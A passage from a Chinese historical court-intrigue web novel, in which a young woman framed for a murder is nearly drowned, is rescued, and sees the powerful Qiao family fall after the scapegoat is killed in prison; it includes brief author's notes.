她面上镇定,道:“您过奖,我没有鼓动人心的本事,唯有就事论事。” 黄杨轻哼,略显阴沉的眼,盯了一下赵烨城,赵烨城一个瑟缩,将梗在咽喉的话吞了回去。 见他退缩,黄杨复又看向商凝语,朝身后点头示意- 佟绥素日在皇城巡逻,负责国子监周围一带的治安,与江昱很熟,这位江世子总是一副懒散的模样,但对出身低微的佟绥始终保持礼数与尊重,这令佟绥在执行公务时,也愿意与他结交,二人私底下经常猜拳拼酒。 在黄杨朝着香琳居前来时,就有侍卫匆忙禀给了佟绥,佟绥心知今日这行苑水深,派人去通知了江昱。 江昱心中警铃大作,万万没想到,行苑监学和艺馆两方学子都被惊动的情况下,太子和乔家也能干这种事,立刻往回赶。 商凝言和陆霁见他面容失色,也是齐齐色变,同时往香琳居赶去,到了香琳居,推开门,只见赵烨城惊醒般抬头,容色颓丧,墙角的方云婷主仆也是面色惶惶,只有这两拨人,却不见另一对主仆。 问二人商凝语被带去哪里,二人都是摇头,江昱一把抓起赵烨城的衣襟,将人从椅子上吊了起来,赵烨城连忙道:“我真的不知道去哪儿了,是,是黄杨黄大人将她带走的。” “哪个方向?” 赵烨城朝后侧方指了指,江昱顺着方向望过去,那里掩着一扇窗,窗纸经年累月,早已破损,可以清楚看到外面的树木。 放开赵烨城,他面色沉重,转身走出屋子,拉住商凝言,沉声道:“你去行苑门口,接应你爹,接到后立刻带他去见太子。” 语毕,就见陆霁已经朝着屋角右侧的小道跑了过去,他也不迟疑,丢下商凝言,跟了上去。 第60章 夜半子时, 忠勤伯府的门房被人叫醒,门房带着怒气,边往身上套外罩, 一边抽开门闩打开门,只见一人, 立在檐下的阴影里,急声道:“快去请商三爷,我有急事告诉他。” 门房嗤了一声, “哪来的疯子, 滚。”说着就要关门。 那人一脚踩进门槛,被门板夹住脚踝,传来一阵刺痛也没在意,倒是想起什么,拿出腹间腰牌递给门房看,沉声道:“我是长公主府上的, 真的有急事, 要是再耽搁,你家七娘子的命就没了, 这个后果你担得起吗?” 府邸屋檐下,灯火明亮,门房眯着眼对着腰牌望去,只见褐色木牌上写着一个“江”字, 心中犹疑, 听他疾言厉色, 才心生惧意,教人等着,阖上门后, 飞快地往内跑去。 翠竹堂的书房里,亮着一盏烛火。寝卧熄灯后,田氏原本已经熟睡,却忽然遭到梦魇,醒来后在床上翻来覆去,搅得商晏竹也从梦中惊醒,醒来后心烦意乱,索性披着衣裳到隔壁书房来看书,不一会儿,田氏也来了,扶着额头坐在一旁靠椅上,面怀心事。 商晏竹以为她是最近操劳商明惠的婚事,有些疲惫,要去寝室点安神香,却又被田氏给拒绝:“我就是心口忽然跳得厉害,让我缓缓就是。”商晏竹无法,夫妇两就在书房暂歇。 小厮前来禀报消息,只道是长公主府上有人来求见,商晏竹看会书已经彻底清醒,叮嘱田氏待会先回去补一觉,去了前院。 谢花儿来回踱步,终于,门吱呀一声,沉重地打开,商三爷从里面走出来,他连忙上前小声道:“三爷,我家主子是勇毅侯世子,前日随国子监一同去往京郊行苑参加骑射,世子特意来让我告诉您,方家出了人命,栽赃到商七娘身上,您快跟我走,我在路上再慢慢与您细说,再晚就来不及了。” 商晏竹大吃一惊,他认得侯府腰牌,又听闻小厮说其京郊行苑、方娘子等字眼,立刻就信了他的话,命门房牵两匹马过来,二人朝城门奔去。 京郊不算近,快马加鞭,直至天明,二人方到行苑门前,商晏竹朝守卫亮明身份,直言要见太子,守卫不敢直接放人,说要去请示,就在这时,商凝言来了。 商晏竹看到一向沉稳的儿子此刻露出的慌张面容,心头一紧,猜到事情不妙,恰在这时,方家人,方云婉的父亲也到了。 方父还不知真实情况如何,谢花儿只是顺路经过方家,给方家人带了口信,并不确信方家人会来,但方父了解女儿,女儿忽然说要去行苑,他就觉得奇怪,得了消息,不假思索地就来了。 商三爷尚无官身,而方父却是握有实权,要见太子,顺理成章,侍卫再也没有理由拒绝,带着几人直接去见太子,在途中,有谢花儿刻意在中间阻隔,商凝言和父亲走在另一边,将陆霁所查出的线索和江昱的推断和盘托出。 最后,紧急说道:“呦呦被带走了,阿爹,得快。” 商晏竹明白了,二人很快在太子暂住的住所见到太子,行过见面礼,商晏竹便开口道:“微臣多谢殿下仗义相助,护下爱女,请殿下将她带出来,微臣想见她一面。” 赵曦在听到二人求见时,就知道事情瞒不住了,派人去给黄杨传信,将人给带回来,此刻也是道:“伯父别急,孤已经吩咐下去,七娘马上就来。” 商晏竹应是,方父也连忙道:“听闻小女闯了祸事,也请殿下告知,小女现在何处?” 赵曦一阵厌烦,但还是耐着性子,抱歉道:“方娘子深夜遇刺,不治身亡,方大人节哀。” 方父身体一晃,眼眶瞬间蓄满了泪水- 商凝语心知自己逃不过这一劫,最担心的事还是发生了,在黄杨命人将她一路推搡,待到轻雾缭绕的清泉前,她尤不甘心,问黄杨:“不知大人是哪个府上的?我可曾得罪过你?” 黄杨覆手而立,道:“都是要死的人了,小娘子还是不必知晓了。” 说罢,微抬下巴,示意,侍从手持麻绳,将一头捆绑在巨石上。 商凝语被点翠推到一棵槐树下,躲避侍卫绷紧发着劲道声的绳索,她冷笑:“大人不敢说是吗?是怕我九泉之下,向阎罗判官上告,这人间究竟有多少魑魅魍魉,为虎作伥的鬼,夜半三更,派黑白无常来向你索魂吗!” 青天白日,槐树下阴风阵阵,点翠啐了一口,大骂:“何止害怕索魂,是怕我下到地狱告到他祖宗跟前,让他祖宗十八代都在跟着丢鬼现眼!” “伶牙俐齿。”黄杨并不怒,讥笑一声,吩咐:“丢下去。” 侍从过来拉扯,将绳索栓到二人身上,商凝语秉着死也要骂个够的理念,扬声继续道:“我知道了,你是乔家的人,乔文川也真是个缩头乌龟,做这种事都不能亲自上阵,他不是已经杀了方云婉吗?还怕再多杀两个人?不对,他是临死想拉个垫背,一个人犯法怎么能心安,拉上你一起陪葬才是道理。也就是你这种蠢猪,当了官只知道蝇营狗苟,连这点伎俩都看不出。” “啊呸。”主仆两一附一和,“不知为民请安的蠹虫,哪里在乎这些,只要有点臭银子,就能出卖祖宗,将脸面往地上踩,这种人,和他讲圣贤都是侮辱,啊,你们干什么,要杀要剐悉听尊便,你的手要是再乱碰一下,我做鬼就投胎到你身上,让你断子绝孙,倾家荡产,一辈子绝后。” 两个侍卫手上动作不变,彼此却心照不宣地对望一眼,心道,这个小娘子,嘴真特么的太阴毒了!毫不迟疑,拿出三日前在醉春楼姑娘那里顺来的香帕塞进她的嘴里堵住,终于,清净了。 两个女娘力气都不似寻常闺阁女娘的小,但是在侍卫手中犹如待宰的小鸡仔,“扑通”两声,直直地掉进水里,泉水不深,但在巨石的沉没下,二人还是很快淹没了头顶,刺骨的泉水漫进肺腑,引来剧烈挣扎,湖面上,圈圈波纹四面荡开。 忽然,身后传来动静,黄杨不欲被察觉,看了一眼动荡渐弱的水面,一招手,带着两名侍卫朝着另一方向离开。 泉下商凝语奋力挣扎,那块沉甸的巨石如一条狰狞水鬼,拖曳着她不断下坠,她看见点翠顺着巨石游过来,用一块扁平的石头磨蹭绳索,顿时心生恐惧,连忙朝她摆手。 泉底水草蔓生,像鬼魅的手,在点翠身边曼舞,不一会儿,缠上她的脚腕、腰腹,如吞噬一般,将她一点点缠住,终于,绳索断开,商凝语身上一松。 点翠面上露出笑容,朝商凝语摇头,商凝语心中生怒,朝她游了过去,去拨开那些烦人的杂碎,但是没有用,水草天生柔韧,越缠越紧,以至于二人都渐渐失去力气。 天色大亮,晨光照耀在水面,金光闪烁,像是铺上一层金子。 望着倒影的疏影,商凝语意识越来越模糊,当最后一口空气被挤压殆尽时,看到有一人破水而入,乘着光亮而来。 她心想,幸好,她还有许多事没做。 接连两声跳水声,江昱和陆霁一前一后朝二人游来,看到二人脚上缠着的绿植,江昱拿出匕首,水底下,匕首锋芒毕露,削发如泥,瞬间叫水草脱枝,回荡水底。 陆霁将商凝语率先带回岸上,而后转身,只见江昱也破水而出,拖着点翠往岸上爬来,黄杨去而复返,眼见四人全部上岸,面色沉下来,吩咐侍卫再去,这时,太子身边的内侍寻了过来,见到四人浑身湿漉漉,惊呼一声,道:“快来人,快救商娘子,江世子,这是怎么了?商三爷来了,说要见商娘子,哎呦,这可怎么办呐?” 江昱只道了一个字:“滚。”按压点翠的胸口,让她将水全部吐出来,那厢,商凝语连吐了好几口泉水,才呛醒了。 好在有惊无险,点翠也苏醒过来,黄杨眼见事败,只好带着人离开了。很快,有监学学子闻讯过来,纷纷将四人带回去,刘管事听闻之后,连着叹了好几口气,旋即寸步不离的守在江昱和陆霁所在的院落,又派人去知乎朱先生,叫她亲自看好商娘子。 江昱和陆霁换了一身干净衣衫,谢花儿从后厨端来两碗热姜汤,给二人喝下去,待二人再走出院子,就有小厮过来告诉刘管事,佟绥已经将陆霁交给他的证据呈给太子,太子还了商娘子清白,而商娘子准备随商三爷先回京,请他来问问陆公子,要不要与他们一起回。 陆霁心中放心不下这件事和商凝语,向刘管事辞别。 看着随小厮离去的背影,刘管事觉得此事总算暂时了了,深深地吐出一口气,转眼见到江昱立在树下,神情若有所思。 刘管事轻笑一声,上前去,道:“看见了吧?这商家女娘已经琵琶别抱,你呀,也赶紧回京去,剩下的事,我来处置了。” “多谢。” 虽是如此说着,他人却没动,不知何时,又开始摩挲起他的玉骨骰,眼底闪过一丝狠戾—— 作者有话说:商凝语心想:幸好你来救我了,我还有许多事没做,想与霁哥哥成亲,想与霁哥哥举案齐眉,想与霁哥哥生好多好多的小孩。 江昱郁:又刀我,娘子妈妈,快救我。 娘子妈妈:快马加鞭的来救,再等等《 》 60-70 第61章 辰时, 行苑各屋渐次苏醒,一夜熟睡的书生和女娘们口口相传,不一会儿, 就都听说了昨夜发生的事。 单纯如素纸白面的年轻男女们,各个面露惊惶。 很快, 太子就宣布,凶手已经找到了,正是因为对婚事不满的平亲王世子赵烨城, 幸好, 赵世子在行凶时,被受方娘子邀约的商七娘撞破,商七娘见义勇为,可惜还是不敌,以致方娘子命丧黄泉。 虽然方娘子仍然遇害,但是凶手既然知晓谁, 就不能让他逍遥法外。 “乔家已经派人将赵世子送去京兆府, 只要京兆府受审,这案子有乔家做证, 就是板上钉钉的事。” 无论是监学,还是艺馆,都有人在议论,早膳时分, 有几位学子聚在树下, 当作饭后茶余, 闲谈起来,言语间,不乏幸灾乐祸。 “该!这赵烨城也算是栽在乔文川的手里, 他们一个阴一个嚣,终于叫他们狗咬狗,咬死一个。” “嘘,贤弟慎言,此地到处都是乔家耳目,还是谨慎为好,这赵世子,素日张扬跋扈,不将我等放在眼里,恃强凌弱,若是能遭到报应也算罪有应得。只是没想到他竟连自己的未婚妻都不放过,这方家乃是书香门第,方娘子温婉贤淑,能得此妻,夫复何求?可惜啊可惜,也不知他心中如何作想,竟犯下如此重错。” “还能是因为什么?因为他前些时日包了醉春楼嫣红姑娘的场,这几个月夜夜笙歌,眼下尤觉不够,想要将人赎回府上,继续逍遥快活,这方家是什么人?再温良敦厚,也不能容忍他如此欺负自家女儿,我猜着,他定是想先说通方家娘子,这才私下约见,结果没谈拢,两个人打了起来,这打架嘛,一来二去,怒上冲冠,就失去了理智。” “只是可怜老王爷,老来得子,膝下只有这么一个儿子,平日宝贝得跟命根子似的,这回,肯定要再向乔家摇尾乞怜。” 另一人立马抓住其中深意,“等两家一和谈,这好戏,得,又不了了之。” 众人吃过早膳,艺馆的女学子们也无心继续作画,朱先生亲生经历过一场惊吓,面色惨白,巳时初,在众女娘商议接下来的半日行程时,突然晕倒。 刘管事得知消息后,做主派人送艺馆学子全部回京,等到忙完一通后,他方才想起,一早过后就没再见到江昱,命人去寻,却得到消息,他早膳未用,就离开行苑去了。 也罢,他平日上课就是神出鬼没,刘管事只派个人回京,去侯府通知一声。 晌午过后,商凝语随父回到府上时,赵烨城也在乔家的安排下进入了京兆府,京兆府尹叶奎是乔家的人,得了消息,立刻将人收监,接着,立案、审问、核对转送过来的证据,不出半日,就拟定了一份奏折,配以签字画押的文书,一并送到宫中御案前。 是夜,月色如勾,寒浸肌骨。 京兆府地牢下半夜换班,不久,来了两位衙差,走在前面的衙差与守卫很是熟稔,搓着手,将手里吊着的两壶小酒递给守卫,道:“天寒地冻,弟兄们辛苦,热点酒暖暖身。” 对方拎起酒壶,一看上面的红封就知是城中最烈的烧刀子,道谢几句,扫了一眼他身后,道:“这位看着眼生,是你那位新来的侄儿吧?” “还是你眼精。”衙差笑呵呵,语气中应下这个身份,指着里面道:“听说今日送来了一个亲王世子,长着什么三头六臂呢?” 守卫对视一笑,“你道是妖怪也不差,细皮嫩肉的,比不过咱们这些大老粗,糙得很。” 衙差眼睛一亮,更加好奇,“那我进去瞧一眼?” 都是熟人,护卫不设防,挥了挥手,将小酒递给同伴,让他去温酒。 衙差一路走进地牢,安静无声,灯光昏暗,唯有两侧壁灯燃着豆烛,照亮脚下寸步方地。 到了里间,交换下来的狱卒趴在桌上呼呼大睡,桌上摆着佳肴,酒香四溢,走在前头的衙差回过身来,道:“恩公,只有一刻钟,我侄儿马上就回来,您尽快。” “多谢。”江昱道。 说完,他往前方一条深道走去,地牢昏暗,找到赵烨城并不难,与别处牢房鼠虫乱窜污秽不堪的景象不同,他在的这间牢房干净无垢,与其他的牢犯也是隔开,室内甚至还有一张小床,上置叠褥,中间的一张桌案上还有未用完的酒和菜,比寻常百姓家还要干净妥帖。 此刻,赵烨城就躺在床上,背对着牢门睡觉,江昱嘴角微扬,抬起手臂,手指轻叩,箭袖下的弩弓发出一声轻响,疾驰的风声令牢内人瞬间警醒,猛地睁开眼,只见一根小小的箭矢钉在墙上,距离眼睛不过方寸距离。 赵烨城从床上弹跳而起,转身看到江昱立在门口,一脸揶揄,朝他晃了晃腕下玲珑小巧的箭弩。 救命声瞬间卡在咽喉,赵烨城愣了愣,问:“江,江昱,我跟你无冤无仇,你这是想干什么?” “我来救你。”江昱放下箭弩,用衣袖遮掩住,好整以暇道。 赵烨城见状,虽觉他吃饱了撑的多管闲事,但也是信了几分,不过耳间传来的刺痛,又令他心生恼意,摸了摸耳朵,掌上一片猩红。 “有话你就直说,何必拿东西吓唬我。” 江昱轻笑,道:“不拿东西吓唬你,你怎么醒?废话先别说,我是来帮你的,王爷现在还不知道你的情况,你写张诉状,我替你转交给王爷。” 赵烨城面色一皱,道:“不必多此一举,我很快就能回去。” 江昱挑眉,目光中仿佛洞察一切,声调微扬:“你是说,你和乔文川交易成功,他就会放你出去?” 他语调不对,赵烨城却未起疑,颔首道:“正是。” 江昱点头,道:“如今宗室亲王子侄众多,你平亲王府最是没落,而你母家又不显,乔文川定是让你先把罪责担下来,然后许你以重利,而你,若是能借此依附乔家,以后宗人府也就有你和你父王说话的一份,对不对?” 被说穿了秘密,赵烨城目光闪烁,叹道:“江昱,你我也算是表兄弟,这事你就别掺和,让我赌一把,可成?” “当然成。”江昱道,“我这就是来帮你,恕我提醒你一句,乔文川阴险狡诈,连太子的女人也敢抢,你就不怕他过河拆桥,在你替他顶罪后,出尔反尔,灭你的口?” “不会,”赵烨城也不是傻子,经商七娘的提醒,这件事他已经前后琢磨明白,“他只是想保护太子和乔家声誉,待到日后,”日后如何,他没说,但他知道江昱应该能明白,稍作停顿,继续道:“日后方家不成气候,此事对他来说就不是威胁,他没必要过河拆桥。” “但是他杀了你才更有可能万无一失,毕竟太子已经掺和进来,他还要担心你事后拿此事要挟太子,万一再威胁到他乔家在太子跟前的地位,他不如铤而走险,让你罪名坐实,最轻的保险方式是将你发配皇陵,替先帝守一辈子的陵墓,到时候,叫天天不应叫地地不灵,这样他才能真正一辈子安心。” 不等赵烨城再说,江昱又道:“我今日从行苑回来,恰巧在城门口遇见你父王,你大约不知道,乔文川押解你的时候,你父王与你正擦肩而过,乔文川都没让你下车去见你父王一面,我看老王爷的马车前去方向,应该正是去行苑见你。” 赵烨城怔住,“你此话当真?” “我没必要骗你。”江昱看着他,“我也是看在我母亲的面子上,见到老王爷如此,就想帮你,这么些年,宗室一直不振,被乔家这个外戚压着脖子,我早就忍不住了,他乔家凭什么如此,比我们这些天皇贵胄还要嚣张?” 他口气一转,道:“不过,你的图谋也算不错,我愿意给你做个见证,一来,你写下书信,我帮你交给王爷,让王爷知晓真实事情的来龙去脉,二来,我也能得点好处不是?我眼下才是个南城兵马司的副指挥使,往后也要让表兄多多提携才是。” 这是赵烨城从出生以来,第一次从这位曾是天子骄子的表弟口中,听到这般奉承的话,瞬间飘飘然,仿佛被乔家拥戴,宗室因他一朝得势的场景就很快就要出现在眼前。 沉吟片刻,愈发觉得江昱说的有道理,赵烨城轻吐一口气,道:“你说的没错,我应该将真相告诉我父王,免得他担心,拿笔来。” 江昱从狱卒那里搬来笔墨,歉意道:“来时匆匆,考虑不周,没有带纸。” “无妨。”赵烨城很是爽快,将内里中衣撕下一块布,走到桌前,将酒菜扫至一旁,席地提笔,不一会儿,他直起身,吹干了墨迹,查看一边,方将薄布从木栏里递出去。 江昱伸手欲接,忽见他一顿,收回薄布,面露迟疑:“你不会因为商小娘子的事,故意来害我吧?” 室内有片刻宁静,江昱扬眉轻笑,淡道:“怎会?随便一个小女娘,怎会敌得上你我宗室复兴的荣耀?” 赵烨城打消疑虑,将薄布递给他,江昱接过来扫过一眼,文辞简陋,记述详尽,心中甚为满意。 赵烨城将笔墨递还给他,笑道:“如此,就麻烦你了。” 笔墨哐当掉在地上,声音戛然而止,他浑身僵硬,低头看见鲜血一滴一滴地滴在地上,染红了他半边衣襟,才确信发生了何事。 他不可置信,“你?” 江昱展颜微笑,道:“忘了说,她不是随便一个小女娘,她,是我江昱,看上的人。” 第62章 艺馆年终放假, 商凝言因为执意去行苑而后风寒加重,被田氏训斥一顿,但因为他的一意孤行救了心肝宝贝女儿, 又没那么生气,只是将他勒令在府上, 年底再也不准外出。 陆霁每次下学后,直接去往商府,将学业课程与商凝言分享, 于是, 商凝语趁此机会去给商凝言送饮食,商凝言知晓她醉翁之意不在酒,借着尿遁,允他二人私下浅聊几句。 陆霁故作平淡,追问:“听言弟说,你已经规划好你我二人的未来, 不知某能否详听一二?” 彼时, 寒风乍起,商凝语浑身僵硬, 心中恨不得将商凝言大卸八块。 面子上,她也没好到哪里去,“唔,唔”了两声, 发直的眼神避开陆霁投来的注视, 戴上兜帽, 落荒而逃。 商家三房还是其乐融融,商明惠进入东宫的日子定了,在年后二月初八, 田氏每日忙得脚不沾地。 商明惠现在也几乎不外出应酬,这日,程昭昭来府上做客,距离商凝语从行苑回来,已经过去七八日,听了消息,她端着做好的梅花酪去梨棠院。 梨棠院的院门敞开,主仆二人才走进院子,就见一位较为眼熟的侍女迎上来问安。 商凝语点头,就问了一句:“四姐姐在吗?”说着,就已经瞧见商明惠在屋子里,程昭昭正与她说话,听到动静,转过眸来。 她拎着裙裾,就准备上台阶,却不料那名侍女上前一步,拦住点翠,道:“点翠姐姐,我来帮你。” 点翠敏捷地绕开,笑盈盈道:“一点小事,不必了。”笑话,主子的功劳当然要她亲自奉上! 说罢,不管那侍女的脸色僵硬,跟上商凝语,进了屋子。 程昭昭终于尝到心念已久的甜食,面露欣喜,一面和商凝语打趣,一面主动将一碗梅花酪端过来,自己先尝了一口,“真不错,是我尝过的最好的梅花甜品。” 商凝语抬眸,看向神色显然泛起一阵轻愁的商明惠,将一碗甜品端给她,道:“且让你尝最后一次,我最近研究出一种新品,本来想在今日让四姐姐尝尝的,但是既然你来了,我就再做这最后一次。” 程昭昭一阵哀嚎,说这般圣品怎能绝迹,要她保证,下次来府上还要再尝一次。 商凝语瞥向商明惠,哼道:“这得看四姐姐,四姐姐都吃腻了,总得换换口味。” 商明惠这才放下心事,展颜对程昭昭笑道:“待你下次来了,再让呦呦做给你便是。” 程昭昭大喜,面色得意地睨了眼商凝语,商凝语故作为难:“那好吧,既然四姐姐说了,我只好应你。” “好啊,我待你不好嘛?你对我厚此薄彼!”程昭昭瞪她,二人嬉笑打闹了一会,程昭昭接着先前未尽之言,继续道:“这几日,御史台尽忙着这一件事,将乔家连同祖籍外地的罪名都翻找出来,御前关于弹劾乔家的奏折已经堆积如山,圣上也抵挡不住,已经接连罢去乔家好几位外任子弟的官职,现在,也就贵妃这一支在苦苦支撑着,听说,昨夜乔贵妃在紫宸殿外跪了一夜。” 商凝语并未走,伏在案前,惊讶道:“乔家出事了?” 程昭昭疑惑望了眼商明惠,也诧异道:“你不知道?” 商凝语摇了摇头,程昭昭顿时燃起了知心姐姐的热情,道:“这事具体说来,与你有关。” 商凝语立刻做出洗耳恭听状。 她就猜到,行苑陷害定有后续,上次,她掉入泉水醒过来,喝下一碗姜汤后,就整理仪容,被父亲带了回来,半道上,父亲只与她说,太子已经还了她的清白,至于其他的,只字不提。 她便是询问陆霁,陆霁也是摇头不知,商凝言那厮就像据嘴的葫芦,更是蹦跶不出半个字。 “怎么说?”姐妹三人对坐案前,她故作好奇,睁着一双大眼看着程昭昭,问。 程昭昭:“听说你在行苑,撞见平亲王世子暗杀方云婉了?” 果然! 商凝语眨眨眼,点头:“应该是。” “什么叫应该是?是就是,不是就不是。”程昭昭对这种模棱两可的答案很是意外,双眉一皱,不满道。 商凝语眼睛往右上方微斜,思索了片刻,道:“我见到的时候,方云婉已经死了,旁边只有赵烨城一个人。” 而后,看着程昭昭,轻眨眉眼,又淡然地补上一句,“他手里拿着刀。” “这就是了。”程昭昭叹了口气,道:“他手里拿着刀,你以为他是凶手,太子查案,证据也处处指向他,他被关押进京兆府时,自己也承认了罪行,白字黑字,签字画押,说方云婉就是他杀的。” 商凝语兴致更浓,听这口气,好像不是这么回事? 果然,程昭昭话锋一转,道:“但是赵烨城在牢里被人杀了。” 她这一招欲扬先抑,也着实吊足了商凝语的胃口。 商凝语一惊,“乔文川杀的?”说完,她自知失言,连忙闭嘴。 程昭昭惊疑了,目光凝视过来,问:“你怎么知道是乔文川?” 商凝语抿嘴,像个做错事的孩子,看向商明惠,商明惠干咳一声,道:“昭昭不是外人,你说吧。” 商凝语于是问:“方云婉与乔公子勾结一起,你知道不?” 程昭昭差点从坐垫上蹦了起来,目光来回在姐妹两人身上扫视,最后不可置信地望着商凝语,问:“所以,这谣言,是你传出去的?” 商凝语点头:“我与赵烨城素不相识,他受人挑唆就诬陷我,我气不过,将秘密抖露出来,想提醒他,最好能让他改口,没想到还是有人要灭我的口,幸好阿爹赶去及时,不然我现在真的沉在行苑的泉水里了。事后我也挺害怕的,不知道会不会给家里带来影响。”说着,她怯怯地看着二人。 程昭昭也听说她那日的惊险,轻忽一笑,坐了回去,“能有什么影响?现在他们自身难保,即便能度过眼前难关也不能拿伯府如何,放心吧,没事。” 而后,她继续道:“京兆府将案情拟定交给圣上,平亲王立刻就得了消息,马不停蹄地回城,连夜进宫去求情,圣上也愿意当个和事佬,招方尚书入宫。” “方尚书只是死了个孙女儿,又不是孙子,而且,平亲王在去往行苑的路上,就听说了这个传言,再将这个传言告到御前,圣上听闻之后,很是震怒,方家心虚理亏,也就不欲再追究赵烨城的罪责。” 商凝语尝一口梅花酪,这与她猜测大体一致,却又听程昭昭道:“本来两家已经谈拢,只对赵烨城小惩一番,但是老王爷才从宫里回去,就听府里长史来报,说赵烨城在牢里死了,老王爷直接冲去京兆府,在地牢里见到赵烨城,据说当时就晕了过去。” “那如何就知道是乔文川派人杀的?”商凝语好奇。 程昭昭再尝一口酪乳,边回味,边道:“老王爷醒来之后,一名狱吏在牢房里找到赵烨城生前写下的一份亲笔陈述,上面写了乔文川如何对他威逼利诱,让他冒名顶替,还写了他亲眼所见,是乔文川的属下杀了方云婉。” 正说话间,外头忽然传来一丝动静,旋即传来疾声厉喝:“春桃,你站住!” 商凝语直起身,看向紧闭的屋门,眼中露出惊讶。 整个伯府,她见过规矩最严的,除了观鹤堂,就是这梨棠院,庭院中从无侍女交头接耳,大声喧哗,云锦更是从未如此疾言厉色,控喝自己人。 她看向商明惠,却见商明惠只是眉头微皱,眼底似乎并无意外,心头疑惑更深。 程昭昭神色一厉,率先下了矮塌,打开门询问:“云锦,怎么回事?” 云锦面色隐忍,道:“表小姐恕罪,是婢子鲁莽,见她鬼鬼祟祟立在门口,忍不住斥责了一句。” 程昭昭眼尾微微挑起,对那名名叫春桃的侍女多看了两眼,问:“我经常来你府上做客,之前从未见过你,你是新来的?” 春桃拘谨,“是,婢子不懂规矩,下次再也不敢了,请表小姐恕罪。” 程昭昭再仔细观她仪容,面容整洁,眼神规矩,手里拿着扫帚,指甲修建得整整齐齐,像是学过规矩的侍女。 旋即轻哼一声,道:“既然在这里当差,就要谨守本分,若是用得不利索,该打该骂,这不都听你的,实在不喜欢就换人,何必动火,惊扰你家娘子?” 最后几句,她是对云锦说的,云锦垂着头,点头应是,程昭昭盯她一眼,双唇翕动,终是掉头回屋里去。 跟出来看个究竟的商凝语,领略了国公府娘子教训下人的气场,临走前,多扫了春桃一眼。 她想起来了,这侍女原先是观鹤堂的。 不知祖母,何时又往梨棠院送来一个侍女? 再回到屋内,程昭昭再无心思尝梅花酪,面色难看地坐在位子上,一时间,室内静默下来。 商凝语有些尴尬,在绒毯上如坐针毡。 还是商明惠轻笑一声,问:“然后呢?京兆府尹叶奎是乔家推举上去的,乔家应该不会如此蠢笨,在京兆府的地牢里杀人灭口,况且,赵烨城都已经顶罪,何必多此一举?” 程昭昭:“道理是这样,但是起初未找到亲笔陈述,叶奎派人通禀,声称赵烨城在牢里畏罪自杀,老王爷再看到亲笔陈述,哪里还能猜不到乔家灭口动机?” 叶奎驭下疏漏,慌乱脱罪,却不曾想,弄巧成拙—— 作者有话说:预告一下,陆霁的CP,在写大纲时,暂定的是公主,但是,中间一直无法把公主的形象更加丰富的展现出来,所以有点纠结,但是!我现在需要公主了,陆霁也需要公主,否则后期我觉得他会有点惨,而且(我不能说了,不能剧透[爆哭]),总之,我在今晚还是肯定了大纲,总之,女主和男二不合适[托腮] 第63章 程昭昭从梨棠院出来时, 已是暮色降临,商凝语送她至乘坐马车的小角门。 “行了,你回去吧, 不必再送。”程昭昭从车中探出脑袋,潇洒挥手, 面上的不快已经窥探不出一丝痕迹。 商凝语双唇翕动,话至唇边,终是咽了回去, “好, 表姐慢走。” 程昭昭定定地看她一眼,转瞬一笑,放下车帘,吩咐车夫出发。 接下来,连着几日,商凝语都吩咐点翠去梨棠院寻云锦。 今日去探问入宫礼服准备得如何, 明日询问四娘子是否紧张, 需不需要七娘子来作陪,亦或者, 带一些商凝语制作的零嘴云片糕给云锦品尝,美其名曰,先让她品鉴一番,看看是否符合四娘子的胃口。 点翠回来, 伏在案前, 寻正在剥松子的商凝语咬耳朵, “娘子你说得没错,云锦这妮子,就是刀子嘴豆腐心。” 商凝语抿嘴笑, 数月前,她想接近梨棠院,几次被云锦落下面子后,点翠劝她不要再去,她便是这般胡说八道说服点翠的,谁知现下被她证实了。 “如何说?”商凝语扔了松子壳,拾起湿巾,擦拭手指,认真地问。 点翠道:“上次程娘子将那个叫春梅的训斥了一顿,她答应程娘子,会将人撵出去,这都几日过去了,我每次寻她说话,春梅都盯着,这样的规矩,还没给撵走!” 商凝语面色凝重,问:“还有吗?” 点翠摇了摇头,忽然又想起来,说:“今日我遇见三爷了,三爷派人来唤四娘子去翠竹堂,春桃自告奋勇,代替云锦,陪着四娘子去了。” “四姐姐没说什么?” “没。” 商凝语沉吟片刻,忽然掀起眼眸,问点翠:“你觉得祖母派春桃去梨棠院,是做什么?” 点翠咬唇,不敢说。 商凝语皱着眉头看她一眼。 她才特别小声地道:“我觉得,像监视。” 商凝语颔首,“给我的感觉一样。” “可是,有什么好监视的?”点翠纳闷道,“连自家人都防?” 商凝语摇了摇头- 商凝语掩下心头疑惑,这日,去给祖母请安后回往兰馨院,半途中,忽然折转,去了商凝言的院子,商凝言正在书房温书,听见她来了,头也不抬,道:“问她来找谁,找别人可就走错了地方。” 一脚踏进门槛的商凝语,没好气地道:“监学休课二十日,我又不是不知,还需你提醒?我就是来找你的。” 商凝言闻言,目光从书中挪出来,蹙眉凝睇,一副不信她鬼扯的样子。 商凝语一臀坐定,正色道:“我就是来看看你,想知道你最近和阿爹最近在忙什么。” 商凝言摊手,“还能忙什么?除了看书吃药,我也没别的事可做,要不,你帮我跟阿娘说说,让我少吃点药?” 难得,他能说出这番有求于人的话。 商凝语却问:“阿爹呢?四姐姐婚事,也没见阿爹忙什么。” “这要忙的可多了,”商凝言觉得她缩在内院,不知外院状况,“光置办嫁妆,不仅要细拟嫁妆清单,还要清点货品,哪一样不需要阿爹亲自过眼?而且,你不知阿爹在京城有多少亲友,光是叙旧,你来我往,现下还有被管事搁置延续的请柬,你当人人都是你,除了上学就无所事事?” 难道是她想错了? 商凝语被说了一通,也不生气,仔细看着他的面容,观察每一个细微的表情。 确定他没有说谎。 “行吧,既然如此,我就不打搅你了,走啦。” 说来就来,说走就走,商凝言盯着她的背影,目露一丝疑惑- 入夜,庭院四周一片阒寂,商凝语辗转反侧,萦绕在心头的疑惑,越发浓重。 祖母为何要派人监督四姐姐;四姐姐婚期在即,却连外出应酬都免去,连国公府也不去了;那太子是什么人,人品低劣,乔家仗势欺人,东宫里就是藏了一群恶狼,可现在附在商明惠身上的猛虎也已退去,让她失去了狐假虎威的资格,面对即将深入的险境,伯府竟然掩耳盗铃,仍然大张旗鼓的准备婚事。 最可疑的是阿爹,阿爹是个十分疼爱子女的好父亲,她从心底能感受到阿爹对思姐姐的愧疚和疼爱,实在无法理解阿爹现在的行为。 直至月上中天,依旧没有丝毫睡意,一骨碌从床上爬了起来,耳朵比贼还要灵光的点翠,披了一件衣衫,敲打窗棂询问:“娘子,你还没睡?” 商凝语应了一声,“我整理点东西,你回去睡吧。” 她想不通父亲的行为,索性起身,整理一些东西。 